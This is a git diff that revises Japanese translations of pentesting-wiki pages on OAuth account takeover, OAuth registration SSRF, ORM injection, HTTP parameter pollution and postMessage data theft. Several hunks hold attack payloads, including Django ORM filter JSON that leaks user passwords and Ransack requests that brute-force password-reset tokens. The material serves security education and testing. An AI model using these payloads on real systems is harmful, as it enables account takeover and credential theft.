+この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を使用してOAuthを悪用し、ATOを実行する方法について説明しています。攻撃は次のとおりです:
1. 被害者が攻撃者のウェブページにアクセスします
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
-3. オープナーで、プロバイダーが被害者を認可すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻しますが、リファラーには攻撃者のウェブサイトが残ります。
-4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
+3. オープナーで、プロバイダーが被害者を認証すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻します。これにより、攻撃者のウェブサイトがリファラーに残ります。
+4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
-### SSRFのパラメータ
+### SSRFs parameters
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
@@ -196,26 +196,27 @@ OAuthにおける動的クライアント登録は、特に**サーバーサイ
**重要なポイント:**
-- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、およびロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
+- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります:
-- **`logo_uri`**: サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。
-- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。
-- **`sector_identifier_uri`**: サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
-- **`request_uris`**: クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
+- **`logo_uri`**:サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。
+- **`jwks_uri`**:クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う可能性があります。
+- **`sector_identifier_uri`**:サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
+- **`request_uris`**:クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
**悪用戦略:**
- SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
-## OAuthプロバイダーのレースコンディション
+## OAuth providers Race Conditions
-テストしているプラットフォームがOAuthプロバイダーである場合、[**レースコンディションの可能性をテストするためにこれを読んでください**](race-condition.md)。
+テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。
-## 参考文献
+## References
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md
index 1b1b91711..f4c8b79bc 100644
--- a/src/pentesting-web/orm-injection.md
+++ b/src/pentesting-web/orm-injection.md
@@ -4,7 +4,7 @@
## Django ORM (Python)
-In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます。
+In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) は、Django ORMを脆弱にする方法が説明されています。例えば、次のようなコードを使用することができます:
class ArticleView(APIView):
"""
@@ -21,9 +21,9 @@ return Response(serializer.data)
すべてのrequest.data(これはjsonになります)が**データベースからオブジェクトをフィルタリングするために**直接渡されることに注意してください。攻撃者は予期しないフィルタを送信することで、期待以上のデータを漏洩させることができます。
-例:
+例:
-- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
+- **ログイン:** 簡単なログインで、登録されているユーザーのパスワードを漏洩させようとします。
```json
{
"username": "admin",
@@ -33,7 +33,7 @@ return Response(serializer.data)
> [!CAUTION]
> パスワードをブルートフォースして漏洩させることが可能です。
-- **リレーショナルフィルタリング**: 操作で使用されることすら予期されていなかったカラムから情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
+- **リレーショナルフィルタリング**: 操作に使用されることすら予想されていなかった列から情報を漏洩させるために、リレーションを横断することが可能です。例えば、次のリレーションを持つユーザーによって作成された記事を漏洩させることが可能な場合です: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
@@ -51,7 +51,7 @@ return Response(serializer.data)
> [!CAUTION]
> この場合、記事を作成したユーザーの部門にいるすべてのユーザーを見つけ、その後にパスワードを漏洩させることができます(前のjsonではユーザー名を漏洩させているだけですが、その後にパスワードを漏洩させることが可能です)。
-- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトでこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスする**ためのデフォルトの方法です。
+- **Djangoのグループと権限の多対多関係を悪用する**: さらに、AbstractUserモデルはDjangoでユーザーを生成するために使用され、デフォルトではこのモデルには**PermissionおよびGroupテーブルとの多対多関係**があります。これは基本的に、**同じグループにいるか、同じ権限を共有している場合に、1人のユーザーから他のユーザーにアクセスするためのデフォルトの方法**です。
```bash
# By users in the same group
created_by__user__groups__user__password
@@ -201,7 +201,7 @@ res.json([])
}
})
```
-未公開の記事を漏洩させることは、`Category` -\[\*..\*]-> `Article` の多対多の関係を利用することで可能です:
+`Category` -\[\*..\*]-> `Article` の多対多の関係を利用して、未発表の記事を漏洩させることが可能です。
```json
{
"query": {
@@ -220,7 +220,7 @@ res.json([])
}
}
```
-すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用します:
+ループバックの多対多関係を悪用することで、すべてのユーザーを漏洩させることも可能です:
```json
{
"query": {
@@ -267,7 +267,7 @@ res.json([])
]
}
```
-`{CONTAINS_LIST}`は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
+`{CONTAINS_LIST}`は、**正しいリークが見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
## **Ransack (Ruby)**
@@ -283,7 +283,7 @@ def index
@posts = @q.result(distinct: true)
end
```
-攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、リセットトークンをブルートフォースすることが可能でした:
+攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、次のようにリセットトークンをブルートフォースすることが可能でした:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index afd5c15bd..a5fbceccc 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -10,11 +10,11 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
### HTTPパラメータ汚染 (HPP) の例
-銀行アプリケーションの取引URL:
+銀行アプリケーションの取引URL:
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
-追加の`from`パラメータを挿入することによって:
+追加の`from`パラメータを挿入することによって:
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
@@ -22,12 +22,12 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
#### **技術特有のパラメータ解析**
-- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響します。
+- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
### PHPとHPPの悪用
-**OTP操作ケース:**
+**OTP操作ケース:**
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
@@ -35,9 +35,9 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
-**APIキー操作ケース:**
+**APIキー操作ケース:**
-- **シナリオ:** アプリケーションはユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
+- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
- **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な`api_key`パラメータと1つの悪意のある`api_key`パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
@@ -46,14 +46,14 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
### パラメータ解析: Flask vs. PHP
-ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
+ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
-- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
+- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複よりも優先します。
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者が操作したパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
## 技術によるパラメータ汚染
-結果は [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) から取得されました。
+結果は[https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)から取得されました。
### PHP 8.3.11 および Apache 2.4.62
@@ -79,7 +79,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping。
2. POST RequestMapping & PostMappingはname\[]を認識します。
3. nameとname\[]が存在する場合はnameを優先します。
-4. パラメータを連結します(例:first,last)。
+4. パラメータを連結します。例: first,last。
5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
### **NodeJS** 20.17.0 **および** Express 4.21.0
@@ -87,7 +87,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg
1. name\[]を認識します。
-2. パラメータを連結します(例:first,last)。
+2. パラメータを連結します。例: first,last。
### GO 1.22.7
diff --git a/src/pentesting-web/phone-number-injections.md b/src/pentesting-web/phone-number-injections.md
index d77f228cd..5ae3288c7 100644
--- a/src/pentesting-web/phone-number-injections.md
+++ b/src/pentesting-web/phone-number-injections.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-電話番号の**末尾に文字列を追加する**ことが可能で、これを利用して一般的なインジェクション(XSS、SQLi、SSRF...)を悪用したり、保護を回避したりすることができます:
+電話番号の**末尾に文字列を追加する**ことが可能で、これにより一般的なインジェクション(XSS、SQLi、SSRF...)を悪用したり、保護を回避したりすることができます:
diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
index 4b502e6c4..10888bd91 100644
--- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
+++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
@@ -5,10 +5,10 @@
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
> [!WARNING]
-> この**チートシートは各脆弱性のテストの包括的なリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
+> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
> [!CAUTION]
-> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、xmlデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、反映される可能性のあるコンテンツがあっても、バックエンドDB技術と構造に大きく依存します。
+> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。
## Polygloths list
```python
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index dd112d37c..72bc34a18 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -39,7 +39,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
### iframe と **targetOrigin** のワイルドカードを攻撃する
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、**機密** メッセージをあなたが制御するドメインに **漏洩** させることができます。\
-ページが iframed 可能であるが、**targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**。
+ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。
```markup
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### 子に送信されたメッセージをメインページをブロックして盗む
-次のページでは、データを送信する前にメインページを**ブロック**し、子の**XSS**を悪用してデータを受信する前に**漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
+次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**の**XSS**を悪用して**データを漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### iframeの位置を変更してメッセージを盗む
-X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その子iframeの**位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
+X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
index 8e423b3fd..24b9f7448 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
@@ -4,15 +4,15 @@
## Winning RCs with Iframes
-この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、null originから作成されたblobドキュメントはセキュリティ上の利点のために隔離されており、つまり、メインページを忙しく保つと、iframeページが実行されることになります。
+According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
-基本的に、このチャレンジでは**隔離されたiframeが実行され**、その**読み込み**の**直後**に**親**ページが**フラグ**を含む**post**メッセージを**送信**します。\
+基本的に、このチャレンジでは、**孤立したiframeが実行され**、その**読み込み**の**直後**に**親**ページが**フラグ**を含む**ポスト**メッセージを**送信**します。\
しかし、そのpostmessage通信は**XSSに脆弱**です(**iframe**はJSコードを実行できます)。
-したがって、攻撃者の目標は**親にiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する**前に**、それを**忙しく保ち**、**payloadをiframeに送信**することです。**親が忙しい間**、**iframeはpayloadを実行**し、これは**親のpostmessageメッセージをリッスンし、フラグを漏洩させる**JSになります。\
-最終的に、iframeはpayloadを実行し、親ページは忙しさをやめるので、フラグを送信し、payloadがそれを漏洩させます。
+したがって、攻撃者の目標は、**親がiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する前に**それを**忙しく**させ、**ペイロードをiframeに送信**することです。**親が忙しい間**、**iframeはペイロードを実行**し、**親のpostmessageメッセージをリッスンしてフラグを漏洩**します。\
+最終的に、iframeはペイロードを実行し、親ページは忙しさをやめるので、フラグを送信し、ペイロードがそれを漏洩します。
-では、どのようにして親を**iframeを生成した直後に忙しくさせ、機密データを送信するためにiframeが準備できるのを待っている間だけ忙しくさせることができるでしょうか?** 基本的に、親に**実行**させることができる**非同期**の**アクション**を見つける必要があります。例えば、このチャレンジでは親がこのように**postmessages**を**リッスン**していました:
+しかし、親が**iframeを生成した直後に、機密データを送信するためにiframeが準備できるのを待っている間、どのように忙しくさせることができるでしょうか?** 基本的に、**親が実行**できる**非同期**の**アクション**を見つける必要があります。例えば、このチャレンジでは、親はこのように**postmessages**を**リッスン**していました:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
diff --git a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
index 70b805629..3572b5c4d 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@@ -21,7 +21,7 @@ renderContainer.innerHTML = data.body
### SOPバイパス 1 (e.origin === null)
-`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`